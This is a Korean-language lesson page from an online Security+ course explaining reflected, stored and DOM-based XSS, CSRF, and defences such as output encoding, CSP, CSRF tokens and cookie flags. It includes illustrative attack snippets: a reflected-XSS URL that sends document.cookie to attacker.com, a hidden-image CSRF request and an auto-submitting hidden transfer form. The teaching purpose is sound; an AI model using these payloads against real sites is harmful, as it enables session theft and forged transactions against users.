0Pricing
Security+ Academy · 강의

사이트 간 스크립팅(XSS)과 CSRF

반사형·저장형·DOM 기반 XSS와 사이트 간 요청 위조 공격을 이해하고, 이를 차단하는 브라우저 수준의 방어책을 학습합니다.

사이트 간 스크립팅(XSS)과 CSRF은(는) CoddyKit의 무료 Security+ Academy 강의입니다. 이것은 4개 중 2번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Security+ Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Security+ Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

사이트 간 스크립팅이란 무엇인가요?

사이트 간 스크립팅(XSS)은 공격자가 다른 사용자가 보는 웹 페이지에 Malicious 스크립트를 삽입하는 클라이언트 측 삽입 취약점입니다. 서버를 대상으로 하는 SQL 삽입과 달리 XSS는 피해자의 브라우저를 대상으로 합니다. 브라우저가 공격자의 스크립트를 렌더링하면 해당 스크립트는 정상적인 페이지 스크립트와 동일한 권한으로 실행됩니다. 이를 통해 세션 탈취, 자격 증명 도난, 악성 코드 전달이 가능해집니다.

반사형 XSS 설명

반사형 XSS는 Malicious 스크립트가 URL에 포함되어 전달되고, 서버가 적절한 인코딩 없이 이를 HTTP 응답에 즉시 '반사'할 때 발생합니다. 피해자는 공격자가 조작한 URL을 클릭하도록 속으며, 흔히 피싱 링크가 사용됩니다. 그러면 피해자의 브라우저에서 공격자의 스크립트가 실행됩니다. 반사형 XSS는 지속형이 아니므로 피해자가 Malicious 링크를 클릭할 때만 실행됩니다.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

저장형 XSS와 DOM 기반 XSS

저장형(지속형) XSS는 애플리케이션의 데이터베이스에 Malicious 스크립트를 저장합니다. 예를 들어 댓글이나 포럼 게시물에 스크립트를 포함할 수 있습니다. 해당 Content를 보는 모든 사용자의 브라우저에서 스크립트가 실행되므로 저장형 XSS는 반사형 XSS보다 훨씬 위험합니다. DOM 기반 XSS는 클라이언트 측 JavaScript가 DOM에 있는 공격자 제어 데이터를 읽은 다음(예: URL 프래그먼트) 이를 안전하지 않은 방식으로 페이지에 다시 기록할 때 브라우저 내에서만 발생합니다.

XSS 방어: 인코딩과 CSP

XSS에 대한 기본 방어 방법은 출력 인코딩입니다. 브라우저에서 렌더링하기 전에 특수 문자를 HTML 엔터티에 해당하는 형태(&lt;, &gt;, &amp;)로 변환해야 합니다. Content Security Policy (CSP) 헤더는 실행할 수 있는 스크립트를 제한하여 중요한 보조 방어 수단을 제공합니다. 서버 측에서는 입력 검증(허용 목록 방식)도 적용해야 합니다.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

사이트 간 요청 위조란 무엇인가요?

사이트 간 요청 위조(CSRF)는 인증된 사용자의 브라우저를 웹사이트가 신뢰한다는 점을 악용합니다. 공격자는 피해자의 브라우저가 피해자가 로그인한 사이트에 원치 않는 인증 요청을 보내도록 속입니다. 브라우저가 세션 쿠키를 자동으로 첨부하므로 대상 Server는 해당 요청을 정상적인 요청으로 판단합니다. 일반적인 CSRF 공격은 자금을 이체하거나 이메일 주소를 변경하고, 계정 설정을 수정합니다.

CSRF 공격의 작동 방식

사용자가 bank.com의 은행 사이트에 로그인한 상태라고 가정해 보겠습니다. 공격자는 숨겨진 이미지 태그가 포함된 이메일을 보냅니다. <img src='https://bank.com/transfer?to=attacker&amount=1000'> 이메일을 열면 브라우저가 이미지 URL을 자동으로 불러오고, 피해자의 은행 세션 쿠키를 첨부한 채 이체 요청을 전송합니다. 은행은 이를 정상적인 요청으로 처리합니다.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF 방어: 토큰과 SameSite

가장 효과적인 CSRF 방어 방법은 모든 양식에 삽입하고 서버 측에서 Verify하는 고유하고 예측할 수 없는 값인 CSRF 토큰을 사용하는 것입니다. 공격자는 다른 출처에서 토큰을 읽을 수 없으므로(동일 출처 정책) 위조된 요청에는 유효한 토큰이 없고 요청이 거부됩니다. SameSite 쿠키 속성(SameSite=Strict 또는 Lax)도 브라우저가 사이트 간 요청에 쿠키를 전송하지 않도록 합니다.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS와 CSRF: 주요 차이점

XSS와 CSRF는 자주 혼동되지만 서로 다른 대상을 공격합니다. XSS는 피해자의 브라우저에서 실행되는 Malicious 스크립트를 삽입하여 사용자가 웹사이트를 신뢰한다는 점을 악용합니다. CSRF는 피해자의 브라우저에서 신뢰할 수 있는 사이트로 보내는 요청을 위조하여 웹사이트가 사용자의 브라우저를 신뢰한다는 점을 악용합니다. XSS를 이용해 CSRF 토큰을 훔치면 두 취약점을 효과적으로 연쇄해 공격할 수 있습니다.

HttpOnly 및 Secure 쿠키 플래그

쿠키 플래그는 XSS를 완화하는 중요한 수단입니다. HttpOnly 플래그는 JavaScript가 document.cookie를 통해 쿠키에 접근하지 못하게 하므로 XSS가 존재하더라도 세션 토큰을 훔치기 어렵게 만듭니다. Secure 플래그는 쿠키가 HTTPS를 통해서만 전송되도록 하여 암호화되지 않은 통신 채널에서의 가로채기를 방지합니다. 심층 방어를 위해 모든 세션 쿠키에 두 플래그를 설정해야 합니다.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

XSS 취약점 테스트

보안 테스터는 모든 입력 필드, URL 매개변수, HTTP 헤더, JSON 필드에 탐색용 페이로드를 삽입하여 XSS를 식별합니다. 간단한 탐색용 페이로드는 <script>alert(1)</script>입니다. 경고 상자가 나타나면 XSS가 확인된 것입니다. Burp Suite와 같은 도구는 XSS 검사를 자동화하며, OWASP ZAP은 무료 능동 검사를 제공합니다. DOM 기반 XSS에는 서버 응답 검사가 아니라 브라우저 측 JavaScript 분석이 필요합니다.

현실에서 XSS가 미치는 영향

XSS 공격은 현실에서 상당한 피해를 일으켰습니다. Samy 웜은 2005년에 저장형 XSS를 악용해 스스로 확산하면서 20시간 만에 MySpace의 100만 개가 넘는 프로필로 퍼졌습니다. XSS 공격은 세션 토큰을 훔쳐 계정을 완전히 탈취하고, 사용자를 피싱 사이트로 리디렉션하며, 브라우저 Exploit(드라이브 바이 다운로드)을 전달하고, 특정 사용자에게 거짓 정보를 표시하도록 페이지 Content를 수정할 수 있습니다.

빠른 확인

이 단원에서 배운 CompTIA Security+ (SY0-701) 개념을 이해했는지 확인해 보십시오.

단원 복습

이 단원에서는 다음을 배웠습니다. XSS는 다른 사용자가 보는 페이지에 스크립트를 삽입합니다. CSRF는 인증된 브라우저가 위조된 요청을 보내도록 속입니다. 또한 출력 인코딩, CSP, CSRF 토큰, SameSite 쿠키 속성이 기본적인 방어 방법입니다. 다음에는 손상된 인증과 안전하지 않은 역직렬화를 살펴보겠습니다.

자주 묻는 질문

“사이트 간 스크립팅(XSS)과 CSRF” 강의는 무료인가요?

네 — “사이트 간 스크립팅(XSS)과 CSRF” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Security+ Academy 강의 전체를 잠금 해제할 수 있습니다. Security+ Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“사이트 간 스크립팅(XSS)과 CSRF”에서 뭘 배우나요?

반사형·저장형·DOM 기반 XSS와 사이트 간 요청 위조 공격을 이해하고, 이를 차단하는 브라우저 수준의 방어책을 학습합니다. 브라우저에서 직접 실행하는 실습 코드로 Security+ Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Security+ Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Security+ Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 2번째 강의입니다.

“사이트 간 스크립팅(XSS)과 CSRF” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Security+ Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Security+ Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

  1. SQL 삽입과 명령 삽입
  2. 사이트 간 스크립팅(XSS)과 CSRF
  3. 취약한 인증과 안전하지 않은 역직렬화
  4. 보안 SDLC, SAST, DAST 도구
← Security+ Academy(으)로 돌아가기